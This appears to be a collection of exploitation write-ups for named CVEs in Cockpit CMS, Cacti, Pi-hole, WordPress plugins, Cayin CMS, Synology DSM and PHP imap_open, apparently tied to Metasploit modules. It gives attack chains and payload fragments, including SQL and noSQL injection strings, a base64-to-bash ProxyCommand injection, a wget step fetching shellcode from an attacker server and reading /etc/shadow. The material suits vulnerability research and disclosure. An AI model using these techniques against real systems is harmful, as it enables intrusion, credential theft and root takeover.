h00die (81)

Similar to CVE-2020-35846, this is a noSQL injection using the var_dump function to dump all memory for the password reset tokens. The vulnerability is within the /auth/requestreset When combined with CVE-2020-35846, its possible to dump all users and their password reset tokens. With this, a successful password reset of the admin user is possible. Once logged in, using the /accounts/find API, a command injection vulnerability is achieved although there was no CVE assigned to this.

noSQL injection within the /auth/requestreset API. By sending JSON.generate({ 'user' => { '$func' => 'var_dump' } }) it causes the var_dump function to be called, which dumps all memory for the user object. This, in effect, allows for enumerating all usernames on the system. This can be combined with CVE-2020-35847 to eventually get an RCE.

Authenticated user is able to cause a SQLi in color.php. This can be used to dump user creds by default. However, it can also be exploited for RCE. cacti databases the executable for php, and with the SQLi we can change the location to be a command injection.

There are 3 vulnerabilities associated with this CVE, all are priv esc. All three use the same simple trick to execute while being sent to sed from the command line. www-data by default is listed in the sudoers file to run pihole.

removestaticdhcp command requires /etc/dnsmasq.d/04-pihole-static-dhcp.conf, and is exploitable from 3.0-5.2.4.

removecustomdns command requires /etc/pihole/custom.list, and is exploitable from 5.1-5.2.4.

removecustomcname command requires /etc/dnsmasq.d/05-pihole-custom-cname.conf, and is exploitable from 5.0-5.2.4.

A blind, time based SQL injection was discovered in Email Subscribers & Newsletters WordPress plugin versions before 4.3.1. The hash parameter is vulnerable to injection. While readily accessible, and a decent amount of installs, the SQLi is relatively complex compared to most commons SQLi for Wordpress Plugins. The request requires a GUID (random is fine), and email (random is fine), and is formatted as such:
{"contact_id":"100','100','100','3'),('1594999398','1594999398','1',(1) AND #{payload},'100','100','3'),('1594999398','1594999398','1','100","campaign_id":"100","message_id":"100","email":"#{email}","guid":"#{guid}","action":"open"}

https://github.com/rapid7/metasploit-framework/pull/14418

This is a rather neat vulnerability IMO.

Easy WP SMTP versions <= 1.4.2 has a non-default debug option. When set, the WordPress plugin creates a [a-z0-9]{5,15}_debug_log.txt file in the wp-content/plugins/easy-wp-smtp/ directory. Problem is, this folder allows directory listings, so the file can easily be accessed. The debug log file contains SMTP logs for the Wordpress instance.

Attack chain is as follows:

1. find the debug_log file
   
2. request a password reset for an account
   
3. read the debug_log file which will have the password reset link for that user
   
4. use the link to change the password for that user.
   

Pretty easy to exploit, but but not necessarily in an automated way since the password change may have unknown requirements. Easy to do manually though!

The file may also contain creds for the SMTP server!

https://github.com/rapid7/metasploit-framework/pull/14474

Blind SQLi in Chop Slider 3 by iDangero.us. The true value of this exploit is low, simply because the company stopped supporting the plugin several years before the exploit was discovered. Most users had therefore moved away from the plug-in before disclosure.

The iDangero.us Chop Slider 3 WordPress plugin prior to version 3.4 contains a blind SQL injection in the id parameter of the get_sript/index.php page. The injection is passed through GET parameters, and thus must be encoded, and magic_quotes is applied at the server.

Exploitable in default config, a valid id is not required.

https://github.com/rapid7/metasploit-framework/pull/14576

Cayin CMS systems have an AUTHENTICATED RCE in the NTP configuration. The system didn’t install correctly on Ubuntu 20.04 at the time the exploit was released, and the company recommends Ubuntu 16.04, unknown if 18.04 will work. Grants root on Ubuntu.

Requires creds, default for CMS-SE was administrator:admin, but the original write-up mentions webadmin:bctvadmin.

CMS system can come on hardware devices. CMS-SE the exploitable file is system_service.cgi however the original vuln write-up mentions system.cgi, so it looks like there is a variance between the hardware devices and the Ubuntu installer. YMMV.

After authentication, the exploit is against the NTP server IP field. During testing of CMS-SE the Update button/functionality was used. Clicking save did not have an immediate effect, and Test worked, but executed 3 times. If your payload is small, you could use Test, however with a larger payload like meterp, it was determined that the payload was writing 3 times in each stage… So if the payload chunks were A, B, C, the payload ended up AAABBBCCC.
Due to character limit, any payload that isn’t small will need to go through a cmdstager type chunking. The field can take ~200 characters, believed to be about ~230 but 200 was used in the exploit to allow for padding.

At the time of writing (and exploit release) vulnerability had not been patched by vendor. Windows app which bundles Apache Tomcat and MySQL, so a nice default and consistent environment to exploit. Can be hard to detect version, it’s not readily available on any screens. language.js shows xPost 2.5, however this file may not change in the future when the patch is eventually released.

SQLi with mysql, this is a classic DUMPFILE sqli, but you need to know the webroot. Default install is C:/CayinApps/webapps/, but may possibly change install to install. Dump a JSP shellcode, load it through the web browser and done.

The SQLi is blind, sqlmap will detect it as time based, instead of a UNION as used in the exploit. I couldn’t get sqlmap to detect it as a UNIONeven when giving it more precise information.

Vulnerability is trivial to exploit. Send a GET request to /webman/forget_passwd.cgi?user=<username> and check the response.
A user who can login will give:

{
   "info" : "admin group",
   "msg" : 1
}

A user who can’t login will give:

{
   "info" : "no mail or no priviege",
   "msg" : 2
}

An invalid user will give:

{
   "info" : "get user info failed",
   "msg" : 4
}

msg 3 means either the feature is disabled, or patched.
msg 5 means you’re locked out.

Default lockout policy is 10 logins in 5min. Each username enumeration counts as a login. Lockout is permanent by default.

AUTHENTICATED command execution in webman/modules/StorageManager/smart.cgi through either a GET or POST request.
Variables for the request look as such:

        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sda"

The disk field is vulnerable. However, that’s just where this fun begins. The disk field is required to be ‘semi’ disk correct. AKA you can’t just have nothing there, or a, however /dev/sd did seem to work. Next, when the command is passed off, the entire disk field is limited to 30 characters. After shortening to /dev/sd and then adding ticks (‘`’) you are left with 22 characters. Pretty tight spacing.

To circumvent this restriction, the following was done:

1. in < 22 characters, echo -n and ip:port to a file (/a).
   
2. use wget -i /a -O <file> to then pull back shell code from a attacker controlled HTTP server
   
3. execute the payload
   

Most likely step 1 will need to be done in > 1 steps.

Exploitation grants root privileges.

Works against pi-hole <=4.4, which was just about recent at the time of release.
Excellent write-up here: https://frichetten.com/blog/cve-2020-11108-pihole-rce/

The CVE encompasses a file overwrite, however overwriting the right files can escalate privs.
The CVE is basically that a new blocklist can be added, and then an update is forced (gravity is pihole terminology for this) to pull in the blocklist content. PHP content is then written to a file within the webroot.

How the real chain of exploit works is this:

1. writes a sudo pihole command to launch teleporter, effectively running a priv esc. sudo pihole -a -t is the command to do this. pihole is in sudoers, so we won’t need to provide a password. This file is stored at an arbitrary location within the webroot.
   
2. writes our payload to teleporter.php, overwriting, the content.
   
3. visit the arbitrary file set in phase 1, which launches the pihole command. -t executes teleporter.php, which gives us a root shell.
   

Most of the restrictions for this exploit are focused around adding the blocklist. Due to encoding, formatting, etc, we are only able to provide an IP. No port, or file name.

With this in mind, exploitation takes many steps. In theory, w/o these restrictions, you’d set 2 block lists (phase 1, and 2), update gravity twice to pull in the files, and done. You would have set each block list to a diff URL thus being able to differentiate them.

However, since you aren’t able to do that, the actual chain looks more like this:

1. add blocklist for phase 1
   
2. update gravity and 200 OK the request
   
3. update gravity and send back your phase 1 command.
   
4. add blocklist for phase 2
   
5. update gravity and 200 OK the request
   
6. update gravity and send back your phase 2 command.
   
7. hit the URL stored for phase 1.
   

Typically you’ll want to combine this vulnerability with CVE-2017-6528 to download the user/password database. Developer was not interested in patching this vulnerability. This is just a typical directory traversal, but a null %00 at the end. In production we found this to be 4 ../ of depth.

The Admin console includes a command to run shell commands. The GETrequest to cgi-bin/dna/sysAdmin.cgi requires administrative privileges on the account, however the POST command to run a command does not require authentication. Thus allowing an arbitrary command execution. Scripts were all written in perl, so a perl based payload is most safe.

/home/dna/spool/.pfile is the database file for users. It is a tab delimited file, and by default passwords are kept in cleartext. An option is available to hash the passwords (MD5 I believe), however it is not the default. The configuration we found in live tested included several admin accounts for the software developer. No patch was available or would be created when the developer was notified.

The uid field is passed within a GET parameter. These are sequential integers, so it is trivial to enumerate them all. The session for the UID needs to be valid, and the timeout is rather long. So it’s rather trivial to simply enumerate through them in an infinite loop to get an admin.

Exploitation of this vulnerability is temperamental at least, destructive at most. While triggering the exploit, it seems somewhat dependent on a higher than default kern.maxfiles. If maxfiles is set too low, the box will reboot.
If exploitation is successful, in order to cause the RCE, /etc/libmap.confis altered. If the original one is not restored, the box is bricked since it attempts to call the payload which was most likely deleted once run.
Exploitation can take between 20-70 minutes.

The big kicker for this was that it didn’t work on the cellular side, so you needed to be on the same network as the device. The device most likely being on the wifi, so a coffee bar or airport would have been prime exploitation grounds.
ES File Explorer is a VERY common software, often included on cheaper Android phones, for browsing files. The vulnerability basically gave as much access to the device as you’d want, allowing for almost everything but RCE. The software on the odd port spoke HTTP, so JSON POST commands were the common language.

The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh’s ProxyCommand option can be passed from imap_open to execute arbitrary commands.
The execution flow of this, on Debian systems is as such:

1. PHP imap_open via rsh
   
2. rsh aliased to ssh
   
3. SSH’s ProxyCommand RCE
   

There were some other nuances, such as not allowing spaces ($IFS$() is OK). Typical execution of this at the SSH side was to base64 encode the payload and pipe it to bash: "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`".

The trick is finding where a webapp calls the imap_open functionality. Typically this is in a higher privileged part of the webapp, since it could be destructive (such as disabling notifications). Some webapps seem to include the function call, but never call the function which uses it (maybe there for plugins to use?).

This is similar to CVE-2009-2936, but on a local binary instead of a network port. The binary, which is obscure and not easy to find, when given an arbitrary file as input with debug and verbose mode set, will attempt to load it. The arbitrary file will fail to load because it isn’t a correct file, and the first line will be echoed back to the screen, split at 20 characters in length. The binary also runs with the suid bit set, so most likely you’ll want /etc/shadow to get root’s hash.